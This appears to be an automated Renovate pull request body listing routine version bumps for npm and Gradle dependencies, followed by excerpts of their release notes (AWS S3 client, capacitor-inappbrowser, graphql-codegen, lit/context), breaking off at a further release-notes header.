| [@types/react](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react)) | [`19.0.8` -> `19.0.10`](https://renovatebot.com/diffs/npm/@types%2freact/19.0.8/19.0.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/19.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/19.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/19.0.8/19.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/19.0.8/19.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/react-dom](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react-dom) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react-dom)) | [`19.0.3` -> `19.0.4`](https://renovatebot.com/diffs/npm/@types%2freact-dom/19.0.3/19.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact-dom/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact-dom/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact-dom/19.0.3/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact-dom/19.0.3/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vitest/browser](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/browser#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/browser)) | [`3.0.5` -> `3.0.6`](https://renovatebot.com/diffs/npm/@vitest%2fbrowser/3.0.5/3.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fbrowser/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fbrowser/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fbrowser/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fbrowser/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vitest/coverage-istanbul](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/coverage-istanbul#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul)) | [`3.0.5` -> `3.0.6`](https://renovatebot.com/diffs/npm/@vitest%2fcoverage-istanbul/3.0.5/3.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fcoverage-istanbul/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fcoverage-istanbul/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fcoverage-istanbul/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fcoverage-istanbul/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vitest/ui](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/ui#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/ui)) | [`3.0.5` -> `3.0.6`](https://renovatebot.com/diffs/npm/@vitest%2fui/3.0.5/3.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fui/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fui/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fui/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fui/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [bullmq](https://bullmq.io/) ([source](https://redirect.github.com/taskforcesh/bullmq)) | [`5.40.2` -> `5.41.2`](https://renovatebot.com/diffs/npm/bullmq/5.40.2/5.41.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/bullmq/5.41.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/bullmq/5.41.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/bullmq/5.40.2/5.41.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/bullmq/5.40.2/5.41.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [electron](https://redirect.github.com/electron/electron) | [`34.1.1` -> `34.2.0`](https://renovatebot.com/diffs/npm/electron/34.1.1/34.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron/34.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron/34.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron/34.1.1/34.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron/34.1.1/34.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [electron-updater](https://redirect.github.com/electron-userland/electron-builder) ([source](https://redirect.github.com/electron-userland/electron-builder/tree/HEAD/packages/electron-updater)) | [`6.5.0` -> `6.6.0`](https://renovatebot.com/diffs/npm/electron-updater/6.5.0/6.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron-updater/6.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron-updater/6.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron-updater/6.5.0/6.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron-updater/6.5.0/6.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [fast-xml-parser](https://redirect.github.com/NaturalIntelligence/fast-xml-parser) | [`4.5.1` -> `4.5.2`](https://renovatebot.com/diffs/npm/fast-xml-parser/4.5.1/4.5.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/fast-xml-parser/4.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/fast-xml-parser/4.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/fast-xml-parser/4.5.1/4.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/fast-xml-parser/4.5.1/4.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`9.2.2` -> `9.3.0`](https://renovatebot.com/diffs/npm/html-validate/9.2.2/9.3.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/9.2.2/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/9.2.2/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [inquirer](https://redirect.github.com/SBoudrias/Inquirer.js/blob/main/packages/inquirer/README.md) ([source](https://redirect.github.com/SBoudrias/Inquirer.js)) | [`12.4.1` -> `12.4.2`](https://renovatebot.com/diffs/npm/inquirer/12.4.1/12.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/inquirer/12.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/inquirer/12.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/inquirer/12.4.1/12.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/inquirer/12.4.1/12.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [jotai](https://redirect.github.com/pmndrs/jotai) | [`2.12.0` -> `2.12.1`](https://renovatebot.com/diffs/npm/jotai/2.12.0/2.12.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/jotai/2.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jotai/2.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jotai/2.12.0/2.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jotai/2.12.0/2.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [nanoid](https://redirect.github.com/ai/nanoid) | [`5.0.9` -> `5.1.0`](https://renovatebot.com/diffs/npm/nanoid/5.0.9/5.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nanoid/5.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nanoid/5.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nanoid/5.0.9/5.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nanoid/5.0.9/5.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [nestjs-cls](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`5.2.0` -> `5.4.0`](https://renovatebot.com/diffs/npm/nestjs-cls/5.2.0/5.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nestjs-cls/5.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nestjs-cls/5.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nestjs-cls/5.2.0/5.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nestjs-cls/5.2.0/5.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [openai](https://redirect.github.com/openai/openai-node) | [`4.83.0` -> `4.85.1`](https://renovatebot.com/diffs/npm/openai/4.83.0/4.85.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/openai/4.85.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/openai/4.85.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/openai/4.83.0/4.85.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/openai/4.83.0/4.85.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [prettier](https://prettier.io) ([source](https://redirect.github.com/prettier/prettier)) | [`3.5.0` -> `3.5.1`](https://renovatebot.com/diffs/npm/prettier/3.5.0/3.5.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/prettier/3.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/prettier/3.5.0/3.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.5.0/3.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [react-i18next](https://redirect.github.com/i18next/react-i18next) | [`15.4.0` -> `15.4.1`](https://renovatebot.com/diffs/npm/react-i18next/15.4.0/15.4.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-i18next/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-i18next/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-i18next/15.4.0/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-i18next/15.4.0/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`2.3.2` -> `2.5.0`](https://renovatebot.com/diffs/npm/shiki/2.3.2/2.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/2.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/2.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/2.3.2/2.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/2.3.2/2.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [storybook](https://redirect.github.com/storybookjs/storybook/tree/next/code/lib/cli) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/lib/cli)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/storybook/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/storybook/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/storybook/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/storybook/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/storybook/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | [`8.24.0` -> `8.24.1`](https://renovatebot.com/diffs/npm/typescript-eslint/8.24.0/8.24.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typescript-eslint/8.24.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typescript-eslint/8.24.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typescript-eslint/8.24.0/8.24.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typescript-eslint/8.24.0/8.24.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`3.0.5` -> `3.0.6`](https://renovatebot.com/diffs/npm/vitest/3.0.5/3.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vitest/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vitest/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vitest/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vitest/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [webpack](https://redirect.github.com/webpack/webpack) | [`5.97.1` -> `5.98.0`](https://renovatebot.com/diffs/npm/webpack/5.97.1/5.98.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/webpack/5.98.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/webpack/5.98.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/webpack/5.97.1/5.98.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/webpack/5.97.1/5.98.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [com.android.library](https://developer.android.com/studio/build) ([source](https://android.googlesource.com/platform/tools/base)) | `8.8.0` -> `8.8.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.android.library:com.android.library.gradle.plugin/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.android.library:com.android.library.gradle.plugin/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.android.library:com.android.library.gradle.plugin/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.android.library:com.android.library.gradle.plugin/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [com.android.application](https://developer.android.com/studio/build) ([source](https://android.googlesource.com/platform/tools/base)) | `8.8.0` -> `8.8.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.android.application:com.android.application.gradle.plugin/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.android.application:com.android.application.gradle.plugin/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.android.application:com.android.application.gradle.plugin/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.android.application:com.android.application.gradle.plugin/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [com.android.tools.build:gradle](https://developer.android.com/studio/build) ([source](https://android.googlesource.com/platform/tools/base)) | `8.8.0` -> `8.8.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.android.tools.build:gradle/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.android.tools.build:gradle/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.android.tools.build:gradle/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.android.tools.build:gradle/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.750.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37500-2025-02-17)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.749.0...v3.750.0)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

### [`v3.749.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37490-2025-02-14)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.744.0...v3.749.0)

##### Features

-   **client-s3:** Added support for Content-Range header in HeadObject response. ([5b15ad8](https://redirect.github.com/aws/aws-sdk-js-v3/commit/5b15ad8260c5d20adf77b35d1762982827c9266b))

</details>

<details>
<summary>Cap-go/capacitor-inappbrowser (@&#8203;capgo/inappbrowser)</summary>

### [`v7.2.16`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7216-2025-02-10)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.15...7.2.16)

### [`v7.2.15`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7215-2025-02-10)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.14...7.2.15)

### [`v7.2.14`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7214-2025-02-09)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.13...7.2.14)

### [`v7.2.13`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7213-2025-02-09)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.9...7.2.13)

### [`v7.2.9`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#729-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.8...7.2.9)

### [`v7.2.8`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#728-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.7...7.2.8)

### [`v7.2.7`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#727-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.6...7.2.7)

### [`v7.2.6`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#726-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.5...7.2.6)

### [`v7.2.5`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#725-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.4...7.2.5)

### [`v7.2.4`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#724-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.3...7.2.4)

### [`v7.2.3`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#723-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.2...7.2.3)

### [`v7.2.2`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#722-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.1...7.2.2)

### [`v7.2.1`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7216-2025-02-10)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.0...7.2.1)

### [`v7.2.0`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#720-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.6...7.2.0)

##### Features

-   add ability to close webview from javascript on ios ([5034997](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/50349975e5a0b81595f6f91ea0747910cf9c7aeb))
-   add close function to unified javascript interface ([c3d9079](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/c3d9079cabf4b5c6ea6f6b722cd487cf47e74fa1))
-   close webview with window.AndroidInterface.close() from within ([c5eae97](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/c5eae97a6aa207c9e36121e61530c395a28fffa8))

##### Bug Fixes

-   add better doc for 2 way com ([171ea27](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/171ea27931b36b358c6e34ee80ed89380e0c0fb7))
-   add warning ([84470ae](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/84470ae1c32dbdbcea0ab206367227c270f1b75d))
-   allow inline video ([1368f2a](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/1368f2a4f0eb2b8cb95a91f7c5b23430ae129bce))
-   better definition ([588cc88](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/588cc8843845b2d5c29212d8b767908109264555))
-   CICD ([ee7ef04](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/ee7ef0430ae4b092717f825098db18a86ed07930))
-   order of doc ([71d8923](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/71d892399685d4e67b67a02ee056c51c8f1d912f))
-   versions ([941aabe](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/941aabee33049624f20030ae044a1fde20f8afb7))

##### [7.1.6](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.5...7.1.6) (2025-02-02)

##### Bug Fixes

-   lint ([d3df47c](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/d3df47cfef62a89da4f96e0db9d0010a5a4aa6ef))

##### [7.1.5](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.4...7.1.5) (2025-02-01)

##### Bug Fixes

-   build ([89cd832](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/89cd832f9699e449e0df684fd2949e41991020f2))

##### [7.1.4](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.3...7.1.4) (2025-02-01)

##### Bug Fixes

-   remove READ_MEDIA_IMAGES ([e30874e](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/e30874ebe18d44e39aef60c66bbdf61ad87a0608))

##### [7.1.3](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.2...7.1.3) (2025-02-01)

##### Bug Fixes

-   async thread ([df0bb19](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/df0bb198a62cd776925b1622287760845560a7df))

##### [7.1.2](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.1...7.1.2) (2025-02-01)

##### Bug Fixes

-   Fixed back_arrow being displayed correctly instead of close_icon ([0516043](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/05160433128222187fff8b12632b711cb7a99b12))
-   openWebView has stopped hiding the phone's status bar. ([465a035](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/465a03561ff8b39b94a9d25396771bbdecf42bc3))
-   openWebView has stopped hiding the phone's status bar. ([6154e54](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/6154e5422c470786d1402c45e432217675347742))
-   openWebView has stopped hiding the phone's status bar. ([ec6a9c2](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/ec6a9c220580db66777f0a3886a29eba5d9d7aa4))

##### [7.1.1](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.0...7.1.1) (2025-01-27)

</details>

<details>
<summary>dotansimha/graphql-code-generator (@&#8203;graphql-codegen/cli)</summary>

### [`v5.0.5`](https://redirect.github.com/dotansimha/graphql-code-generator/blob/HEAD/packages/graphql-codegen-cli/CHANGELOG.md#505)

[Compare Source](https://redirect.github.com/dotansimha/graphql-code-generator/compare/@graphql-codegen/cli@5.0.4...@graphql-codegen/cli@5.0.5)

##### Patch Changes

-   [#&#8203;10282](https://redirect.github.com/dotansimha/graphql-code-generator/pull/10282) [`7d7760d`](https://redirect.github.com/dotansimha/graphql-code-generator/commit/7d7760d55c21a99417c38ce5e77a6de22b5effcc) Thanks [@&#8203;oprypkhantc](https://redirect.github.com/oprypkhantc)! - Fix watcher watching project root when schema URL is used

</details>

<details>
<summary>lit/lit (@&#8203;lit/context)</summary>

### [`v1.1.4`](https://redirect.github.com/lit/lit/blob/HEAD/packages/context/CHANGELOG.md#114)

[Compare Source](https://redirect.github.com/lit/lit/compare/@lit/context@1.1.3...7db8eadb285c2a55fe4aa78c491585e1e90d3b1c)

##### Patch Changes

-   [#&#8203;4734](https://redirect.github.com/lit/lit/pull/4734) [`0f535d48`](https://redirect.github.com/lit/lit/commit/0f535d483ba32c57e49ffaa7f7e4ce70a9f6f26d) Thanks [@&#8203;sorin-davidoi](https://redirect.github.com/sorin-davidoi)! - Avoid calling Event.composedPath() when it is not needed

</details>

<details>
<summary>open-telemetry/opentelemetry-js (@&#8203;opentelemetry/exporter-prometheus)</summary>

